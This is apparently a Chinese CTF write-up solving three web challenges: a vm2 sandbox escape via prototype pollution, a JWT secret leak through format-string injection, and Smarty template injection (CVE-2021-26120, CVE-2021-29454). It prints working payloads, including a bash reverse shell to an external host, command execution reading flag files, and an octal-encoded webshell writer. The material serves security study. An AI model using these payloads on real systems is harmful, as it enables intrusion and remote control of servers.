当前位置: 首页 > news >正文

NSSCTF web刷题记录6

文章目录

    • [HZNUCTF 2023 final]eznode
    • [MoeCTF 2021]地狱通讯-改
    • [红明谷CTF 2022] Smarty Calculator
      • 方法一 CVE-2021-26120
      • 方法二 CVE-2021-29454
      • 方法三 写马蚁剑连接


[HZNUCTF 2023 final]eznode

考点:vm2沙箱逃逸、原型链污染

打开题目,提示找找源码
在这里插入图片描述
直接访问./app.js得到

const express = require('express');
const app = express();
const { VM } = require('vm2');app.use(express.json());const backdoor = function () {try {new VM().run({}.shellcode);} catch (e) {console.log(e);}
}const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a
}
const clone = (a) => {return merge({}, a);
}app.get('/', function (req, res) {res.send("POST some json shit to /.  no source code and try to find source code");
});app.post('/', function (req, res) {try {console.log(req.body)var body = JSON.parse(JSON.stringify(req.body));var copybody = clone(body)if (copybody.shit) {backdoor()}res.send("post shit ok")}catch(e){res.send("is it shit ?")console.log(e)}
})app.listen(3000, function () {console.log('start listening on port 3000');
});

引用了vm2,有JSON.parse解析,并且存在merge方法,clone调用了merge,存在原型链污染漏洞
如果if语句为真,调用backdoor方法new VM().run({}.shellcode); 可以利用原型链污染到shellcode,进而rce

payload如下

{"shit":"1","__proto__": {"shellcode":"let res = import('./app.js'); res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync(\"bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'\").toString();"}
}

postmanPOST发送即可
反弹shell成功,得到flag
在这里插入图片描述

[MoeCTF 2021]地狱通讯-改

考点:JWT解密、ssti

源码如下

from flask import Flask, render_template, request, session, redirect, make_response
from secret import secret, headers, User
import datetime
import jwtapp = Flask(__name__)@app.route("/", methods=['GET', 'POST'])
def index():f = open("app.py", "r")ctx = f.read()f.close()res = make_response(ctx)name = request.args.get('name') or ''if 'admin' in name or name == '':return respayload = {"name": name,}token = jwt.encode(payload, secret, algorithm='HS256', headers=headers)res.set_cookie('token', token)return res@app.route('/hello', methods=['GET', 'POST'])
def hello():token = request.cookies.get('token')if not token:return redirect('/', 302)try:name = jwt.decode(token, secret, algorithms=['HS256'])['name']except jwt.exceptions.InvalidSignatureError as e:return "Invalid token"if name != "admin":user = User(name)flag = request.args.get('flag') or ''message = "Hello {0}, your flag is" + flagreturn message.format(user)else:return render_template('flag.html', name=name)if __name__ == "__main__":app.run()

分析一下,/路由下接收name参数,如果存在且值不为admin,将输出JWT加密的token值;/hello路由接收参数token,然后进行解密,如果为admin返回flag

首先第一步获取token值,访问/hello
在这里插入图片描述然后要找到jwt解密要的密钥
我们利用ssti获取

/hello?flag={0.__class__.__init__.__globals__}

在这里插入图片描述
然后把密钥放到我们解密网站,验证成功,我们直接修改为admin
在这里插入图片描述
访问得到flag
在这里插入图片描述

[红明谷CTF 2022] Smarty Calculator

考点:Smarty模板注入,CVE-2021-26120

扫一下目录,发现有源码泄露
在这里插入图片描述看下源码,发现是Smarty模板

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Smarty calculator</title>
</head>
<body background="img/1.jpg">
<div align="center"><h1>Smarty calculator</h1>
</div>
<div style="width:100%;text-align:center"><form action="" method="POST"><input type="text" style="width:150px;height:30px" name="data" placeholder="      输入值进行计算" value=""><br><input type="submit" value="Submit"></form>
</div>
</body>
</html>
<?php
error_reporting(0);
include_once('./Smarty/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);function waf($data){$pattern = "php|\<|flag|\?";$vpattern = explode("|", $pattern);foreach ($vpattern as $value) {if (preg_match("/$value/", $data)) {echo("<div style='width:100%;text-align:center'><h5>Calculator don  not like U<h5><br>");die();}}return $data;
}if(isset($_POST['data'])){if(isset($_COOKIE['login'])) {$data = waf($_POST['data']);echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>";$smarty->display("string:" . $data);}else{echo "<script>alert(\"你还没有登录\")</script>";}
}

有waf过滤,然后判断cookie
我们试试注入语句,发现成功
在这里插入图片描述
由于我们在/Smarty/Smarty.class.php知道该版本
在这里插入图片描述

方法一 CVE-2021-26120

直接去网上找相关漏洞,发现是CVE-2021-26120(说是此版本修复但也不知道为啥能用)
然后去GitHub上下载该版本的源码对比一下,找到不同的地方
也就是sysplugins文件夹下的smarty_internal_compile_function.php
源码中的正则匹配

if (!preg_match('/^[a-zA-Z0-9_\x80-\xff]+$/', $_name))

而题目中的正则匹配

if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name))

可以发现变成!,后面的(.*)+中,.匹配除了换行符以外的所有字符,*匹配0次或者多次,+匹配一次或者多次,我们可以使用多次换行绕过

该漏洞的poc
在这里插入图片描述修改一下即可得到flag

data={function name='rce(){};system("cat /var/www/f*");function%0A%0A'}{/function}

在这里插入图片描述

方法二 CVE-2021-29454

data={$poc="poc"}{math equation="(\"\\163\\171\\163\\164\\145\\155\")(\"\\143\\141\\164\\40\\57\\166\\141\\162\\57\\167\\167\\167\\57\\146\\52\")"}

在这里插入图片描述

方法三 写马蚁剑连接

也是利用八进制实现绕过

data={$poc="poc"}{math equation="(\"\\146\\151\\154\\145\\137\\160\\165\\164\\137\\143\\157\\156\\164\\145\\156\\164\\163\")(\"\\61\\56\\160\\150\\160\",\"\\74\\77\\160\\150\\160\\40\\145\\166\\141\\154\\50\\44\\137\\120\\117\\123\\124\\133\\61\\135\\51\\73\\77\\76\")"}

在这里插入图片描述

相关文章:

NSSCTF web刷题记录6

文章目录 [HZNUCTF 2023 final]eznode[MoeCTF 2021]地狱通讯-改[红明谷CTF 2022] Smarty Calculator方法一 CVE-2021-26120方法二 CVE-2021-29454方法三 写马蚁剑连接 [HZNUCTF 2023 final]eznode 考点&#xff1a;vm2沙箱逃逸、原型链污染 打开题目&#xff0c;提示找找源码 …...

米哈游大数据云原生实践

云布道师 近年来&#xff0c;容器、微服务、Kubernetes 等各项云原生技术的日渐成熟&#xff0c;越来越多的公司开始选择拥抱云原生&#xff0c;并将企业应用部署运行在云原生之上。随着米哈游业务的高速发展&#xff0c;大数据离线数据存储量和计算任务量增长迅速&#xff0c…...

移动端适配-(postcss-pxtorem)

基于vuevant的移动端适配(rem) 1.下载lib-flexible --save npm i lib-flexible --save2.在main.js中引入lib-flexible main.js import lib-flexible/flexible3.设置meta标签 <meta name"viewport" content"widthdevice-width, initial-scale1, maximum-s…...

【PostgreSQL】解决PostgreSQL时区(TimeZone)问题

问题描述 最近在使用PostgreSQL中&#xff0c;对行记录进行设置创建时间&#xff08;created_time&#xff09;时&#xff0c;出现了设置了now()时间而数据库中写入的数据是不一致的数据。 eg&#xff1a; insert into dept ( created_at, updated_at) VALUES (now(),now())…...

Vue Router的使用

Vue.js是一个流行的JavaScript框架&#xff0c;用于开发单页面应用程序。Vue提供了一个强大的路由系统&#xff0c;可以帮助我们管理应用程序中的不同页面。在本文中&#xff0c;我们将详细讲解Vue路由的使用方法。 目录 1. 安装Vue Router2. 创建路由实例3. 配置路由4. 在模板…...

海外IP代理科普——API代理

随着互联网的不断发展&#xff0c;越来越多的企业开始使用API&#xff08;应用程序接口&#xff09;来实现数据的共享和交流。而在API使用中&#xff0c;海外代理IP也逐渐普及。那么&#xff0c;什么是API代理IP呢&#xff1f;它有什么作用&#xff1f;API接口有何用处&#xf…...

详解Python安装requests库的实例代码

文章目录 前言基本用法基本的get请求带参数的GET请求解析json关于Python技术储备一、Python所有方向的学习路线二、Python基础学习视频三、精品Python学习书籍四、Python工具包项目源码合集①Python工具包②Python实战案例③Python小游戏源码五、面试资料六、Python兼职渠道 前…...

Flutter 使用 device_info_plus 遇到的问题

问题&#xff1a;引用device_info_plus 插件出现了异常&#xff0c;不知道为啥打开项目的时候就不能用了。 解决&#xff1a;改了版本解决 Target of URI doesnt exist: package:device_info_plus/device_info_plus.dart. (Documentation) Try creating the file reference…...

论文阅读:“基于特征检测与深度特征描述的点云粗对齐算法”

文章目录 摘要简介相关工作粗对齐传统的粗对齐算法基于深度学习的粗对齐算法 特征检测及描述符构建 本文算法ISS 特征检测RANSAC 算法3DMatch 算法 实验结果参考文献 摘要 点云对齐是点云数据处理的重要步骤之一&#xff0c;粗对齐则是其中的难点。近年来&#xff0c;基于深度…...

[python]python筛选excel表格信息并保存到另一个excel

目录 关键词平台说明背景所需库1.安装相关库2.代码实现sourcetarget1 关键词 python、excel、DBC、openpyxl 平台说明 项目Valuepython版本3.6 背景 从一个excel表中遍历删选信息并保存到另一个excel表 所需库 1.openpyxl &#xff1a;是一个用于读写 Excel 文件的 Pyt…...

使用kafka_exporter监控Kafka

prometheus 监控 kafka 常见的有两种开源方案,一种是传统的部署 exporter 的方式,一种是通过 jmx 配置监控, 项目地址: kafka_exporter:https://github.com/danielqsj/kafka_exporterjmx_exporter:https://github.com/prometheus/jmx_exporter本文将采用kafka_exporter方…...

基于Bagging集成学习方法的情绪分类预测模型研究(文末送书)

&#x1f935;‍♂️ 个人主页&#xff1a;艾派森的个人主页 ✍&#x1f3fb;作者简介&#xff1a;Python学习者 &#x1f40b; 希望大家多多支持&#xff0c;我们一起进步&#xff01;&#x1f604; 如果文章对你有帮助的话&#xff0c; 欢迎评论 &#x1f4ac;点赞&#x1f4…...

Java算法(八)手写String集合元素去重的两种实现方式 正序 逆序 删除集合中符合条件的字符串

Java算法&#xff08;八&#xff09;&#xff1a; 实现集合去重 需求&#xff1a;创建一个存储String的集合&#xff0c;内部存储&#xff08;test&#xff0c; 张三&#xff0c; test&#xff0c;test, 李四&#xff09;字符串 删除所有的test字符串&#xff0c;删除后&#…...

Linux的简单使用

Linux命令使用技巧 Tab键自动补全连续两次Tab键&#xff0c;给出操作提示使用上下箭头快速调出曾经使用过的命令使用clear命令或者Ctrll快捷键实现清屏Linux的常用命令 命令作用详细说明ls [-al] [dir]显示指定目录下的内容 -a 显示所有文件及目录 (. 开头的隐藏文件也会列出) …...

OpenCV技术应用(4)— 如何改变图像的透明度

前言&#xff1a;Hello大家好&#xff0c;我是小哥谈。本节课就手把手教你如何改变图像的透明度&#xff0c;希望大家学习之后能够有所收获~&#xff01;&#x1f308; 目录 &#x1f680;1.技术介绍 &#x1f680;2.实现代码 &#x1f680;1.技术介绍 改变图像透明度的实…...

SpringCloud之Feign

文章目录 前言一、Feign的介绍二、定义和使用Feign客户端1、导入依赖2、添加EnableFeignClients注解3、编写FeignClient接口4、用Feign客户端代替RestTemplate 三、自定义Feign的配置1、配置文件方式全局生效局部生效 2、java代码方式 四、Feign的性能优化连接池配置 五、Feign…...

股票池(三)

3-股票池 文章目录 3-股票池一. 查询股票池支持的类型二. 查询目前股票池对应的股票信息三 查询股票池内距离今天类型最少/最多的股票数据四. 查询股票的池统计信息 一. 查询股票池支持的类型 接口描述: 接口地址:/StockApi/stockPool/listPoolType 请求方式&#xff1a;GET…...

如何搭建测试环境?一文解决你所有疑惑!

什么是测试环境 测试环境&#xff0c;指为了完成软件测试工作所必需的计算机硬件、软件、网络设备、历史数据的总称&#xff0c;简而言之&#xff0c;测试环境硬件软件网络数据准备测试工具。 硬件&#xff1a;指测试必需的服务器、客户端、网络连接等辅助设备。 软件&#…...

【JVM】JVM异常不打印堆栈信息 [ -XX:-OmitStackTraceInFastThrow ]

文章目录 一、背景二、原因三、 代码验证 一、背景 生产环境日志突然膨胀到100G, 为了定位问题,所以截取了部分报错日志, 问题是 堆栈信息呢? 哪里报的NPE在哪??? 信息如下: [ERROR] 2020-12-09 09:41:50.053 - [taskAppIdTASK-1919-33805-97659]:[156] - wait task qu…...

第十一章 目标检测中的NMS

精度提升 众所周知&#xff0c;非极大值抑制NMS是目标检测常用的后处理算法&#xff0c;用于剔除冗余检测框&#xff0c;本文将对可以提升精度的各种NMS方法及其变体进行阶段性总结。 总体概要&#xff1a; 对NMS进行分类&#xff0c;大致可分为以下六种&#xff0c;这里是依…...

通过Taotoken CLI工具一键配置团队开发环境中的大模型接入点

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 通过Taotoken CLI工具一键配置团队开发环境中的大模型接入点 当团队开始将大模型能力集成到开发流程中时&#xff0c;一个常见的挑…...

基于Transformer的序列标注实战:从NER到魔法咒语识别

1. 项目概述&#xff1a;当NLP遇见魔法世界最近在捣鼓一个挺有意思的NLP小项目&#xff0c;起因是重读《哈利波特》时&#xff0c;看着那些拗口的咒语&#xff0c;突然冒出一个想法&#xff1a;如果让AI来读这些魔法书&#xff0c;它能理解“除你武器”和“阿瓦达索命”之间的区…...

FFmpeg QSV滤镜实战:解决`get_buffer() failed`报错的两种内存访问方案对比

FFmpeg QSV滤镜实战&#xff1a;两种GPU显存访问方案深度解析与性能优化 在视频处理领域&#xff0c;Intel Quick Sync Video&#xff08;QSV&#xff09;硬件加速技术已经成为提升编解码效率的重要工具。然而&#xff0c;当开发者尝试在QSV解码后的视频帧上应用滤镜效果时&…...

将小米TTS封装为OpenAI风格API:实现离线高质量语音合成

1. 项目概述&#xff1a;从“小爱同学”到通用语音合成最近在折腾智能家居和语音交互项目时&#xff0c;我遇到了一个挺有意思的需求&#xff1a;想把小米设备上那个熟悉的“小爱同学”语音&#xff0c;集成到我自己的应用里。你可能也注意到了&#xff0c;像“小爱同学”这样的…...

CANN Runtime API 参考

Runtime API 参考 【免费下载链接】runtime 本项目提供CANN运行时组件和维测功能组件。 项目地址: https://gitcode.com/cann/runtime 1. 概述 2. 初始化与去初始化 3. 运行时配置 4. Device管理 5. Context管理 6. Stream管理 7. Event管理 8. Notify管理 9. Cn…...

CANN/HCCL算法分析器使用指南

算法分析器使用指导 【免费下载链接】hccl 集合通信库&#xff08;Huawei Collective Communication Library&#xff0c;简称HCCL&#xff09;是基于昇腾AI处理器的高性能集合通信库&#xff0c;为计算集群提供高性能、高可靠的通信方案 项目地址: https://gitcode.com/cann…...

第五篇:锻造大脑——为什么算法公开,你却造不出 GPT?

书接上文。同学问&#xff1a;“既然 CNN、Transformer 的论文和代码都是开源的&#xff0c;我能不能在寝室里手搓一个 DeepSeek 或者 GPT-4&#xff1f;” 这就像虽然米其林餐厅的菜谱&#xff08;算法&#xff09;是公开的&#xff0c;但要把菜做成艺术品&#xff0c;你还需要…...

解决Wireshark安装 无法显示USB接口

密评实施过程中&#xff0c;会使用到Wireshark抓取智能密码钥匙的通信流量&#xff0c;但是某些情况下安装Wireshark之后&#xff0c;无法找到USB的捕获接口&#xff0c;重启Wireshark和电脑后还是无法正常显示。如下图。解决办法如下&#xff1a;将“USBPcapCMD.exe”复制到“…...

3D高斯泼溅优化:多项式核函数与高效剔除算法

1. 3D高斯泼溅技术背景与挑战在实时神经渲染领域&#xff0c;3D高斯泼溅(3D Gaussian Splatting, 3DGS)已成为近年来最具突破性的技术之一。这项技术通过将场景表示为大量各向异性高斯基元的集合&#xff0c;实现了高质量的实时渲染效果。每个高斯基元包含位置(μ)、协方差矩阵…...

别再手动敲命令了!ROS Melodic/Noetic下,一键Launch文件完美配置RViz与TurtleBot3仿真环境

一键整合RViz与TurtleBot3仿真环境的ROS Launch文件终极指南 每次启动机器人仿真环境都要重复输入七八条命令&#xff1f;RViz里总弹出"RobotModel Error"和"No transform"警告&#xff1f;作为ROS开发者&#xff0c;这些琐碎操作不仅消耗时间&#xff0c;…...